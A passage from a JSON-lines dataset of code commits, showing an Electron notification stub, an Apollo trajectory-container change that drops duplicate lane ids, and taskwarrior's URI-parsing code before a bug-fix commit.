PlatformNotificationService::GetDisplayedNotifications(\n content::BrowserContext* browser_context,\n DisplayedNotificationsCallback callback) {}\n\nint64_t PlatformNotificationService::ReadNextPersistentNotificationId(\n content::BrowserContext* browser_context) {\n \/\/ Electron doesn't support persistent notifications.\n return 0;\n}\n\nvoid PlatformNotificationService::RecordNotificationUkmEvent(\n content::BrowserContext* browser_context,\n const content::NotificationDatabaseData& data) {}\n\nvoid PlatformNotificationService::ScheduleTrigger(\n content::BrowserContext* browser_context,\n base::Time timestamp) {}\n\nbase::Time PlatformNotificationService::ReadNextTriggerTimestamp(\n content::BrowserContext* browser_context) {\n return base::Time::Max();\n}\n\n} \/\/ namespace atom\n<|endoftext|>"} {"text":"<commit_before><commit_msg>Update visitor_test.cpp<commit_after><|endoftext|>"} {"text":"<commit_before>\/******************************************************************************\n * Copyright 2017 The Apollo Authors. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *****************************************************************************\/\n\n#include \"modules\/prediction\/container\/adc_trajectory\/adc_trajectory_container.h\"\n\n#include <memory>\n#include <vector>\n\n#include \"modules\/common\/log.h\"\n#include \"modules\/prediction\/common\/prediction_gflags.h\"\n#include \"modules\/prediction\/common\/prediction_map.h\"\n\nnamespace apollo {\nnamespace prediction {\n\nusing ::apollo::common::PathPoint;\nusing ::apollo::common::TrajectoryPoint;\nusing ::apollo::common::math::LineSegment2d;\nusing ::apollo::common::math::Polygon2d;\nusing ::apollo::common::math::Vec2d;\nusing ::apollo::hdmap::JunctionInfo;\nusing ::apollo::planning::ADCTrajectory;\n\nvoid ADCTrajectoryContainer::Insert(\n const ::google::protobuf::Message& message) {\n adc_lane_ids_.clear();\n adc_lane_seq_.clear();\n adc_junction_polygon_ = Polygon2d{};\n\n adc_trajectory_.CopyFrom(dynamic_cast<const ADCTrajectory&>(message));\n ADEBUG << \"Received a planning message [\"\n << adc_trajectory_.ShortDebugString() << \"].\";\n\n \/\/ Find junction\n if (IsProtected()) {\n SetJunctionPolygon();\n }\n ADEBUG << \"Generate a polygon [\" << adc_junction_polygon_.DebugString()\n << \"].\";\n\n \/\/ Find ADC lane sequence\n SetLaneSequence();\n ADEBUG << \"Generate an ADC lane id sequence [\" << ToString(adc_lane_seq_)\n << \"].\";\n}\n\nbool ADCTrajectoryContainer::IsPointInJunction(const PathPoint& point) const {\n if (adc_junction_polygon_.num_points() < 3) {\n return false;\n }\n bool in_polygon = adc_junction_polygon_.IsPointIn({point.x(), point.y()});\n\n bool on_virtual_lane = false;\n if (point.has_lane_id()) {\n on_virtual_lane = PredictionMap::IsVirtualLane(point.lane_id());\n }\n if (!on_virtual_lane) {\n on_virtual_lane = PredictionMap::OnVirtualLane({point.x(), point.y()},\n FLAGS_virtual_lane_radius);\n }\n return in_polygon && on_virtual_lane;\n}\n\nbool ADCTrajectoryContainer::IsProtected() const {\n return adc_trajectory_.has_right_of_way_status() &&\n adc_trajectory_.right_of_way_status() == ADCTrajectory::PROTECTED;\n}\n\nvoid ADCTrajectoryContainer::SetJunctionPolygon() {\n std::shared_ptr<const JunctionInfo> junction_info(nullptr);\n\n for (int i = 0; i < adc_trajectory_.trajectory_point_size(); ++i) {\n double s = adc_trajectory_.trajectory_point(i).path_point().s();\n\n if (s > FLAGS_adc_trajectory_search_length) {\n break;\n }\n\n if (junction_info != nullptr) {\n break;\n }\n\n double x = adc_trajectory_.trajectory_point(i).path_point().x();\n double y = adc_trajectory_.trajectory_point(i).path_point().y();\n std::vector<std::shared_ptr<const JunctionInfo>> junctions =\n PredictionMap::GetJunctions({x, y}, FLAGS_junction_search_radius);\n if (!junctions.empty() && junctions.front() != nullptr) {\n junction_info = junctions.front();\n }\n }\n\n if (junction_info != nullptr && junction_info->junction().has_polygon()) {\n std::vector<Vec2d> vertices;\n for (const auto& point : junction_info->junction().polygon().point()) {\n vertices.emplace_back(point.x(), point.y());\n }\n if (vertices.size() >= 3) {\n adc_junction_polygon_ = Polygon2d{vertices};\n }\n }\n}\n\nvoid ADCTrajectoryContainer::SetLaneSequence() {\n for (const auto& lane : adc_trajectory_.lane_id()) {\n if (!lane.id().empty()) {\n adc_lane_seq_.emplace_back(lane.id());\n }\n }\n adc_lane_ids_.clear();\n adc_lane_ids_.insert(adc_lane_seq_.begin(), adc_lane_seq_.end());\n}\n\nstd::string ADCTrajectoryContainer::ToString(\n const std::unordered_set<std::string>& lane_ids) {\n std::string str_lane_sequence = \"\";\n auto it = lane_ids.begin();\n if (it != lane_ids.end()) {\n str_lane_sequence += (*it);\n ++it;\n }\n for (; it != lane_ids.end(); ++it) {\n str_lane_sequence += (\"->\" + *it);\n }\n return str_lane_sequence;\n}\n\nstd::string ADCTrajectoryContainer::ToString(\n const std::vector<std::string>& lane_ids) {\n std::string str_lane_sequence = \"\";\n auto it = lane_ids.begin();\n if (it != lane_ids.end()) {\n str_lane_sequence += (*it);\n ++it;\n }\n for (; it != lane_ids.end(); ++it) {\n str_lane_sequence += (\"->\" + *it);\n }\n return str_lane_sequence;\n}\n\nbool ADCTrajectoryContainer::HasOverlap(const LaneSequence& lane_sequence) {\n for (const auto& lane_segment : lane_sequence.lane_segment()) {\n std::string lane_id = lane_segment.lane_id();\n if (adc_lane_ids_.find(lane_id) != adc_lane_ids_.end()) {\n return true;\n }\n }\n return false;\n}\n\nvoid ADCTrajectoryContainer::SetPosition(const Vec2d& position) {\n for (auto it = adc_lane_seq_.begin(); it != adc_lane_seq_.end(); ++it) {\n auto lane_info = PredictionMap::LaneById(*it);\n if (lane_info != nullptr && lane_info->IsOnLane(position)) {\n adc_lane_ids_.clear();\n adc_lane_ids_.insert(it, adc_lane_seq_.end());\n break;\n }\n }\n ADEBUG << \"Generate an ADC lane ids [\" << ToString(adc_lane_ids_) << \"].\";\n}\n\n} \/\/ namespace prediction\n} \/\/ namespace apollo\n<commit_msg>Prediction: optimized adc lane sequence generation<commit_after>\/******************************************************************************\n * Copyright 2017 The Apollo Authors. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *****************************************************************************\/\n\n#include \"modules\/prediction\/container\/adc_trajectory\/adc_trajectory_container.h\"\n\n#include <memory>\n#include <vector>\n\n#include \"modules\/common\/log.h\"\n#include \"modules\/prediction\/common\/prediction_gflags.h\"\n#include \"modules\/prediction\/common\/prediction_map.h\"\n\nnamespace apollo {\nnamespace prediction {\n\nusing ::apollo::common::PathPoint;\nusing ::apollo::common::TrajectoryPoint;\nusing ::apollo::common::math::LineSegment2d;\nusing ::apollo::common::math::Polygon2d;\nusing ::apollo::common::math::Vec2d;\nusing ::apollo::hdmap::JunctionInfo;\nusing ::apollo::planning::ADCTrajectory;\n\nvoid ADCTrajectoryContainer::Insert(\n const ::google::protobuf::Message& message) {\n adc_lane_ids_.clear();\n adc_lane_seq_.clear();\n adc_junction_polygon_ = Polygon2d{};\n\n adc_trajectory_.CopyFrom(dynamic_cast<const ADCTrajectory&>(message));\n ADEBUG << \"Received a planning message [\"\n << adc_trajectory_.ShortDebugString() << \"].\";\n\n \/\/ Find junction\n if (IsProtected()) {\n SetJunctionPolygon();\n }\n ADEBUG << \"Generate a polygon [\" << adc_junction_polygon_.DebugString()\n << \"].\";\n\n \/\/ Find ADC lane sequence\n SetLaneSequence();\n ADEBUG << \"Generate an ADC lane id sequence [\" << ToString(adc_lane_seq_)\n << \"].\";\n}\n\nbool ADCTrajectoryContainer::IsPointInJunction(const PathPoint& point) const {\n if (adc_junction_polygon_.num_points() < 3) {\n return false;\n }\n bool in_polygon = adc_junction_polygon_.IsPointIn({point.x(), point.y()});\n\n bool on_virtual_lane = false;\n if (point.has_lane_id()) {\n on_virtual_lane = PredictionMap::IsVirtualLane(point.lane_id());\n }\n if (!on_virtual_lane) {\n on_virtual_lane = PredictionMap::OnVirtualLane({point.x(), point.y()},\n FLAGS_virtual_lane_radius);\n }\n return in_polygon && on_virtual_lane;\n}\n\nbool ADCTrajectoryContainer::IsProtected() const {\n return adc_trajectory_.has_right_of_way_status() &&\n adc_trajectory_.right_of_way_status() == ADCTrajectory::PROTECTED;\n}\n\nvoid ADCTrajectoryContainer::SetJunctionPolygon() {\n std::shared_ptr<const JunctionInfo> junction_info(nullptr);\n\n for (int i = 0; i < adc_trajectory_.trajectory_point_size(); ++i) {\n double s = adc_trajectory_.trajectory_point(i).path_point().s();\n\n if (s > FLAGS_adc_trajectory_search_length) {\n break;\n }\n\n if (junction_info != nullptr) {\n break;\n }\n\n double x = adc_trajectory_.trajectory_point(i).path_point().x();\n double y = adc_trajectory_.trajectory_point(i).path_point().y();\n std::vector<std::shared_ptr<const JunctionInfo>> junctions =\n PredictionMap::GetJunctions({x, y}, FLAGS_junction_search_radius);\n if (!junctions.empty() && junctions.front() != nullptr) {\n junction_info = junctions.front();\n }\n }\n\n if (junction_info != nullptr && junction_info->junction().has_polygon()) {\n std::vector<Vec2d> vertices;\n for (const auto& point : junction_info->junction().polygon().point()) {\n vertices.emplace_back(point.x(), point.y());\n }\n if (vertices.size() >= 3) {\n adc_junction_polygon_ = Polygon2d{vertices};\n }\n }\n}\n\nvoid ADCTrajectoryContainer::SetLaneSequence() {\n for (const auto& lane : adc_trajectory_.lane_id()) {\n if (!lane.id().empty()) {\n if (adc_lane_seq_.empty() || lane.id() != adc_lane_seq_.back()) {\n adc_lane_seq_.emplace_back(lane.id());\n }\n }\n }\n adc_lane_ids_.clear();\n adc_lane_ids_.insert(adc_lane_seq_.begin(), adc_lane_seq_.end());\n}\n\nstd::string ADCTrajectoryContainer::ToString(\n const std::unordered_set<std::string>& lane_ids) {\n std::string str_lane_sequence = \"\";\n auto it = lane_ids.begin();\n if (it != lane_ids.end()) {\n str_lane_sequence += (*it);\n ++it;\n }\n for (; it != lane_ids.end(); ++it) {\n str_lane_sequence += (\"->\" + *it);\n }\n return str_lane_sequence;\n}\n\nstd::string ADCTrajectoryContainer::ToString(\n const std::vector<std::string>& lane_ids) {\n std::string str_lane_sequence = \"\";\n auto it = lane_ids.begin();\n if (it != lane_ids.end()) {\n str_lane_sequence += (*it);\n ++it;\n }\n for (; it != lane_ids.end(); ++it) {\n str_lane_sequence += (\"->\" + *it);\n }\n return str_lane_sequence;\n}\n\nbool ADCTrajectoryContainer::HasOverlap(const LaneSequence& lane_sequence) {\n for (const auto& lane_segment : lane_sequence.lane_segment()) {\n std::string lane_id = lane_segment.lane_id();\n if (adc_lane_ids_.find(lane_id) != adc_lane_ids_.end()) {\n return true;\n }\n }\n return false;\n}\n\nvoid ADCTrajectoryContainer::SetPosition(const Vec2d& position) {\n for (auto it = adc_lane_seq_.begin(); it != adc_lane_seq_.end(); ++it) {\n auto lane_info = PredictionMap::LaneById(*it);\n if (lane_info != nullptr && lane_info->IsOnLane(position)) {\n adc_lane_ids_.clear();\n adc_lane_ids_.insert(it, adc_lane_seq_.end());\n break;\n }\n }\n ADEBUG << \"Generate an ADC lane ids [\" << ToString(adc_lane_ids_) << \"].\";\n}\n\n} \/\/ namespace prediction\n} \/\/ namespace apollo\n<|endoftext|>"} {"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ taskwarrior - a command line task list manager.\n\/\/\n\/\/ Copyright 2010 - 2011, Johannes Schlatow.\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included\n\/\/ in all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n\/\/ OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n\/\/ THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\/\/\n\/\/ http:\/\/www.opensource.org\/licenses\/mit-license.php\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n#define L10N \/\/ Localization complete.\n\n#include <Context.h>\n#include <text.h>\n#include <i18n.h>\n#include <Uri.h>\n\nextern Context context;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nUri::Uri ()\n{\n _parsed = false;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nUri::Uri (const Uri& other)\n{\n if (this != &other)\n {\n _data = other._data;\n _host = other._host;\n _path = other._path;\n _user = other._user;\n _port = other._port;\n _protocol = other._protocol;\n _parsed = other._parsed;\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nUri::Uri (const std::string& in, const std::string& configPrefix)\n{\n _data = in;\n _parsed = false;\n if (configPrefix != \"\")\n expand(configPrefix);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nUri::~Uri ()\n{\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nUri& Uri::operator= (const Uri& other)\n{\n if (this != &other)\n {\n this->_data = other._data;\n this->_host = other._host;\n this->_path = other._path;\n this->_user = other._user;\n this->_port = other._port;\n this->_protocol = other._protocol;\n this->_parsed = other._parsed;\n }\n\n return *this;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nUri::operator std::string () const\n{\n return _data;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nstd::string Uri::name () const\n{\n if (_path.length ())\n {\n std::string::size_type slash = _path.rfind ('\/');\n if (slash != std::string::npos)\n return _path.substr (slash + 1, std::string::npos);\n }\n\n return _path;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nstd::string Uri::parent () const\n{\n if (_path.length ())\n {\n std::string::size_type slash = _path.rfind ('\/');\n if (slash != std::string::npos)\n return _path.substr (0, slash+1);\n }\n\n return \"\";\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nstd::string Uri::extension () const\n{\n if (_path.length ())\n {\n std::string::size_type dot = _path.rfind ('.');\n if (dot != std::string::npos)\n return _path.substr (dot + 1, std::string::npos);\n }\n\n return \"\";\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nbool Uri::is_directory () const\n{\n if (is_local ()) {\n return Path (this->_data).is_directory ();\n } else\n return (_path == \".\")\n || (_path == \"\")\n || (_path[_path.length()-1] == '\/');\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nbool Uri::is_local () const\n{\n if (_parsed)\n return (_protocol == \"\");\n else\n return ( (_data.find(\":\/\/\") == std::string::npos)\n && (_data.find(\":\") == std::string::npos) );\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nbool Uri::append (const std::string& path)\n{\n if (is_directory ())\n {\n this->_path += path;\n return true;\n }\n else\n return false;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nbool Uri::expand (const std::string& configPrefix )\n{\n std::string tmp;\n if (_data.length ())\n {\n \/\/ try to replace argument with uri from config\n tmp = context.config.get (configPrefix + \".\" + _data + \".uri\");\n }\n else\n {\n \/\/ get default target from config\n tmp = context.config.get (configPrefix + \".default.uri\");\n }\n\n if (tmp != \"\")\n {\n _data = tmp;\n return true;\n }\n\n return false;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nstd::string Uri::ToString ()\n{\n if (!_parsed)\n return std::string ();\n\n if (is_local ())\n return _data;\n\n std::string result;\n result = _protocol + \":\/\/\";\n\n if (_user.length () > 0) {\n \/\/ obscure password in _user\n std::string::size_type pos = _user.find (\":\");\n if (pos != std::string::npos) {\n std::string::size_type len = _user.length () - pos - 1;\n result += _user.replace (pos+1, len, len, '*') + \"@\";\n }\n else\n result += _user + \"@\";\n }\n \n result += _host;\n \n if (_port.length () > 0)\n result += + \":\" + _port;\n \n result += \"\/\" + _path;\n\n return result;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid Uri::parse ()\n{\n if (_parsed)\n return;\n\n if (is_local ())\n {\n _path = _data;\n _parsed = true;\n return;\n }\n\n std::string::size_type pos;\n std::string _data = this->_data;\n std::string pathDelimiter = \"\/\";\n\n _user = \"\";\n _port = \"\";\n\n\t\/\/ skip ^.*:\/\/\n if ((pos = _data.find (\":\/\/\")) != std::string::npos)\n {\n _protocol = _data.substr(0, pos);\n _data = _data.substr (pos+3);\n \/\/ standard syntax: protocol:\/\/[user@]host.xz[:port]\/path\/to\/undo.data\n pathDelimiter = \"\/\";\n }\n else\n {\n _protocol = \"ssh\";\n \/\/ scp-like syntax: [user@]host.xz:path\/to\/undo.data\n pathDelimiter = \":\";\n }\n\n \/\/ user delimited by single quotes?\n if ( _data[0] == '\\''\n && (pos = _data.find(\"'\", 1)) != std::string::npos )\n {\n if (_data[pos+1] == '@')\n {\n \/\/ end of user name\n _user = _data.substr (1, pos-1);\n _data = _data.substr (pos+2);\n }\n else\n {\n throw std::string (format (STRING_URI_QUOTES, _data));\n }\n }\n else\n {\n \/\/ find user name\n if ((pos = _data.find (\"@\")) != std::string::npos)\n {\n _user = _data.substr (0, pos);\n _data = _data.substr (pos+1);\n }\n }\n\n \/\/ get host, port and path\n if ((pos = _data.find (pathDelimiter)) != std::string::npos)\n {\n _host = _data.substr (0, pos);\n _path = _data.substr (pos+1);\n }\n else\n {\n throw std::string (format (STRING_URI_BAD_FORMAT, _data));\n }\n\n \/\/ path is absolute for ssh:\/\/ syntax\n if ( (_protocol == \"ssh\") && (pathDelimiter == \"\/\") )\n {\n _path = \"\/\" + _path;\n }\n\n \/\/ port specified?\n \/\/ remark: this find() will never be != npos for scp-like syntax\n \/\/ because we found pathDelimiter, which is \":\", before\n if ((pos = _host.find (\":\")) != std::string::npos)\n {\n _port = _host.substr (pos+1);\n _host = _host.substr (0,pos);\n }\n\n _parsed = true;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ vim: et ts=2 sw=2\n<commit_msg>Bug<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ taskwarrior - a command line task list manager.\n\/\/\n\/\/ Copyright 2010 - 2011, Johannes Schlatow.\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included\n\/\/ in all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n\/\/ OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n\/\/ THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\/\/\n\/\/ http:\/\/www.opensource.org\/licenses\/mit-license.php\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n#define L10N \/\/ Localization complete.\n\n#include <Context.h>\n#include <text.h>\n#include <i18n.h>\n#include <Uri.h>\n\nextern Context context;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nUri::Uri ()\n{\n _parsed = false;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nUri::Uri (const Uri& other)\n{\n if (this != &other)\n {\n _data = other._data;\n _host = other._host;\n _path = other._path;\n _user = other._user;\n _port = other._port;\n _protocol = other._protocol;\n _parsed = other._parsed;\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nUri::Uri (const std::string& in, const std::string& configPrefix)\n{\n _data = in;\n _parsed = false;\n if (configPrefix != \"\")\n expand(configPrefix);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nUri::~Uri ()\n{\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nUri& Uri::operator= (const Uri& other)\n{\n if (this != &other)\n {\n this->_data = other._data;\n this->_host = other._host;\n this->_path = other._path;\n this->_user = other._user;\n this->_port = other._port;\n this->_protocol = other._protocol;\n this->_parsed = other._parsed;\n }\n\n return *this;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nUri::operator std::string () const\n{\n return _data;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nstd::string Uri::name () const\n{\n if (_path.length ())\n {\n std::string::size_type slash = _path.rfind ('\/');\n if (slash != std::string::npos)\n return _path.substr (slash + 1, std::string::npos);\n }\n\n return _path;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nstd::string Uri::parent () const\n{\n if 